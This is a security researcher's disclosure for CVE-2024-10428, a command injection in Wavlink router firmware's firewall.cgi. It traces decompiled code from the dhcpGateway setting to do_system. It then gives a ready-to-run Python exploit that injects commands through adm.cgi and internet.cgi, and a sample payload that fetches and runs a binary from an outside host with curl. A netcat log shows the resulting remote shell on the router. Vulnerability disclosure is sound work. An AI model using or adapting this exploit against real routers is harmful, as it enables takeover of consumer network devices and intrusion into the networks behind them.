

CVE-ID

CVE-2024-10428

Credits

Leipeng Ye (awindog) of DBappSecurity Stellar Lab

Overview

- Manufacturer's website:

https://www.wavlink.com/en_us/index.html

- Firmware download website:

https://www.wavlink.com/en_us/firmware/details/130.html

https://www.wavlink.com/en_us/firmware/details/45.html

https://www.wavlink.com/en_us/firmware/details/46.html

Affected version

WN530H4-WAVLINK_20220721

WN530HG4-WAVLINK_20220809

WN572HG3-WAVLINK_WO_20221028

...

Vulnerability details

Take WN530H4-WAVLINK_20220721 firmware as an example.

Backup Download Link:

<https://drive.google.com/file/d/16n2lvT0CjyECH7RDStvW7FIjE95vRdLy/view>

The command injection vulnerability exists in the `firewall` component.

When `firewall.cgi` is called by the shell, the `firewall_init` function is executed

```

78  memset(v67, 0, sizeof(v67));
79  nvram_init(0);
80  if ( argc >= 2 && !strcmp(argv[1], "init") )
81  {
82      firewall_init();
83      goto LABEL_45;
84  }
85  if ( !check_valid_user() )

```

There is a call chain: firewall.cgi
init->firewall_init()->iptablesAllFilterRun()->iptablesRemoteManagementRun()->do_system(ctrl_cmd)

```

1|const char *iptablesRemoteManagementRun()
2|{
3|    const char *v0; // $s1
4|    const char *v1; // $s0
5|    const char *result; // $v0
6|    const char *v3; // $s2
7|    const char *v4; // $v0
8|    const char *v5; // $v0
9|    const char *v6; // $v0
10|
11|    v0 = (const char *)nvram_bufget(0, "RemoteManagement");
12|    v1 = (const char *)nvram_bufget(0, "OperationMode");
13|    nvram_bufget(0, "SPIFWEnabled");
14|    result = (const char *)nvram_bufget(0, "dhcpGateway");
15|    v3 = result;
16|    if ( v1 )
17|    {
18|        result = (const char *)strcmp(v1, "1");
19|        if ( !result )
20|        {
21|            if ( v0 && atoi(v0) == 1 )
22|            {
23|                v6 = (const char *)get_wanif_name();
24|                result = (const char *)do_system(
25|                    "iptables -t nat -A %s -j DNAT -i %s -p tcp --dport 80 --to-destination %s:80",
26|                    "port_forward",
27|                    v6,
28|                    v3);
29|            }
30|            else
31|            {
32|                v4 = (const char *)get_wanif_name();
33|                do_system(
34|                    "iptables -t nat -D %s -j DNAT -i %s -p tcp --dport 80 --to-destination %s:80",
35|                    "port_forward",
36|                    v4,
37|                    v3);
38|                v5 = (const char *)get_wanif_name();
39|                result = (const char *)do_system("iptables -A %s -i %s -p tcp --dport 80 -j DROP", "malicious_input_filter", v5);
40|            }
41|        }

```

It can be seen that we can inject any command into dhcpGateway by controlling the value of OperationMode to "1"

How to control dhcpGateway and OperationMode?

After reversing adm.cgi in the firmware, it was found that the dhcpGateway can be set to a dangerous string through the page=wzdap function, and then the OperationMode can be set to "1" through the page=wzdgw function.

```

68 LABEL_5:
69     if ( !strcmp(v12, "1") )
70     {
71         do_system("killall -q udhcpd &");
72         set_static_ip(a1);
73     }
74
25     v6 = strdup(v3);
26     v5 = (const char *)web_get("lanGateway", a1, 0);
27     v8 = strdup(v5);
28     v7 = (const char *)web_get("lanPriDns", a1, 0);
29     v10 = strdup(v7);
30     v9 = (const char *)web_get("lanSecDns", a1, 0);
31     v11 = strdup(v9);
32     if ( access("/tmp/web_log", 0) || (v13 = fopen("/dev/console", "w+")) == 0 )
33     {
34         if ( access("/tmp/web_log", 0) )
35             goto LABEL_3;
36     }
37     else
38     {
39         fprintf(v13, "%s:%s:%d:-----set_static_ip function----- \n\n", "adm.c", "set_static_ip
40         fclose(v13);
41         if ( access("/tmp/web_log", 0) )
42             goto LABEL_3;
43     }
44     v14 = fopen("/dev/console", "w+");
45     if ( v14 )
46     {
47         fprintf(
48             v14,
49             "%s:%s:%d:lan_ip = %s,lan_Netmask = %s,lan_Gateway = %s,lan_PriDns = %s,lan_SecDns = %s \n\n",
50             "adm.c",
51             "set_static_ip",
52             559,
53             v4,
54             v6,
55             v8,
56             v10,
57             v11);
58     }
59     fclose(v14);
60 LABEL_3:
61     nvram_bufset(0, "dhcpEnabled", "0");
62     nvram_bufset(0, "lan_ipaddr", v4);
63     nvram_bufset(0, "lan_netmask", v6);
64     nvram_bufset(0, "dhcpGateway", v1);
00002D70 set_static_ip:64 (402D70)

```

How to finally execute firewall.cgi init?

When cgi receives an ipv6 request from internet.cgi, it calls the set_ipv6 function.

```

1 int __fastcall set_ipv6(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8)
2 {
3     const char *v9; // $v0
4     char *v10; // $s1
5     int v11; // $v0
6     int v12; // $a3
7     int v13; // $a2
8     int v14; // $v0
9     int v15; // $v0
10    int v16; // $v0
11    int v17; // $v0
12    int v18; // $v0
13
14    web_debug_header();
15    v9 = (const char *)web_get("ipv6_opmode", a1, 1);
16    v10 = strdup(v9);
17    if ( !v10 )
18        v10 = "";
19    nvram_bufset(0, "IPv6OpMode", v10);
20    v11 = strcmp(v10, "1");
21    v13 = 1;
22    if ( !v11 )
23    {
24        v14 = web_get("ipv6_lan_ipaddr", a1, 1);
25        nvram_bufset(0, "IPv6IPAddr", v14);
26        v15 = web_get("ipv6_lan_prefix_len", a1, 1);
27        nvram_bufset(0, "IPv6PrefixLen", v15);
28        v16 = web_get("ipv6_wan_ipaddr", a1, 1);
29        nvram_bufset(0, "IPv6WANIPAddr", v16);
30        v17 = web_get("ipv6_wan_prefix_len", a1, 1);
31        nvram_bufset(0, "IPv6WANPrefixLen", v17);
32        v18 = web_get("ipv6_static_gw", a1, 1);
33        nvram_bufset(0, "IPv6GWAddr", v18);
34        nvram_commit(0);
35        do_system("init_system restart");
36    }
37    return free_all(1, v10, v13, v12, a5, a6, a7, a8);
38 }

```

Finally, the `init_system restart` command will be executed.

In the `init_system` program, the following command is called after receiving the restart parameter from the command line, `internet.cgi init` is one of them.

```

1 int sub_400BC0()
2 {
3     do_system("internet.sh");
4     do_system("/etc_ro/lighttpd/www/cgi-bin/wireless.cgi init");
5     do_system("/etc_ro/lighttpd/www/cgi-bin/firewall.cgi init");
6     do_system("/etc_ro/lighttpd/www/cgi-bin/adm.cgi init");
7     return do_system("/etc_ro/lighttpd/www/cgi-bin/internet.cgi init");
8 }

```

EXP

```

import requests
import sys
#cmd="curl -o /tmp/k http://192.168.1.17:9998/re1&&chmod 755
/tmp/k&&/tmp/k"

```

```

if len(sys.argv)!=4:
    print("Usage: python %s ip session \"command\""%sys.argv[0])
    exit(0)

ip= sys.argv[1]
session= sys.argv[2]
cmd= sys.argv[3]
Head = {'Referer':'wifi.wavlink.com','Cookie': 'session=%s'%session}

## set_cmd
url = "http://%s/cgi-bin/adm.cgi"%ip
Data = {"page":"wzdap","static_en":"1","lanGateway":"","%s;%s"%cmd}
response = requests.post(url,headers=Head,data=Data)
print(response.text)
print(response)

## set OperationMode = "1"
url = "http://%s/cgi-bin/adm.cgi"%ip
Data = {"page":"wzdgw"}
response = requests.post(url,headers=Head,data=Data)
print(response.text)
print(response)

## call iptablesRemoteManagementRun to run cmd
url = "http://%s/cgi-bin/internet.cgi"%ip
Data = {"page":"ipv6","ipv6_opmode":"1"}
response = requests.post(url,headers=Head,data=Data)
print(response.text)
print(response)

```

```

fuzz@ubuntu:~/test1$ python3 exp.py 45 1825205336 "curl -o /tmp/k http://192.168.10.1:9998/re1&&chmod 755 /tmp/k&&/tmp/k"

webs: Listening for HTTP requests at address 192.168.10.1
<Response [200]>
fuzz@ubuntu:~/test1$

```

```
root@lavm-3xrkhwt8e:~# nc -lvp 8888
Listening on 0.0.0.0 8888
Connection received on 4[REDACTED] 47839
ls -all /tmp/k
-rwxr-xr-x 1 0 0 [REDACTED]tmp/k
ps
  PID USER      VSZ STAT COMMAND
    1 admin286 2332 S    init
    2 admin286    0 SW    [kthreadd]
    3 admin286    0 SW    [ksoftirqd/0]
    4 admin286    0 SW    [kworker/0:0]
    5 admin286    0 SW    [kworker/u:0]
    6 admin286    0 SW<   [khelper]
    7 admin286    0 SW    [sync_supers]
    8 admin286    0 SW    [bdi-default]
    9 admin286    0 SW<   [kblockd]
   10 admin286    0 SW    [kswapd0]
   11 admin286    0 SW<   [crypto]
   15 admin286    0 SW    [mtdblock0]
   16 admin286    0 SW    [mtdblock1]
   17 admin286    0 SW    [mtdblock2]
   18 admin286    0 SW    [mtdblock3]
   19 admin286    0 SW    [mtdblock4]
   20 admin286    0 SW    [kworker/u:1]
   94 admin286    0 SW    [kworker/0:1]
  114 admin286 2816 S    nvram_daemon
  146 admin286 2328 S    syslogd -s 256
 1745 admin286   860 S    wctrls
 4101 admin286 2328 S    sh -c /etc_ro/lighttpd/www/cgi-bin/internet.cgi init
 4102 admin286 2568 S    /etc_ro/lighttpd/www/cgi-bin/internet.cgi init
```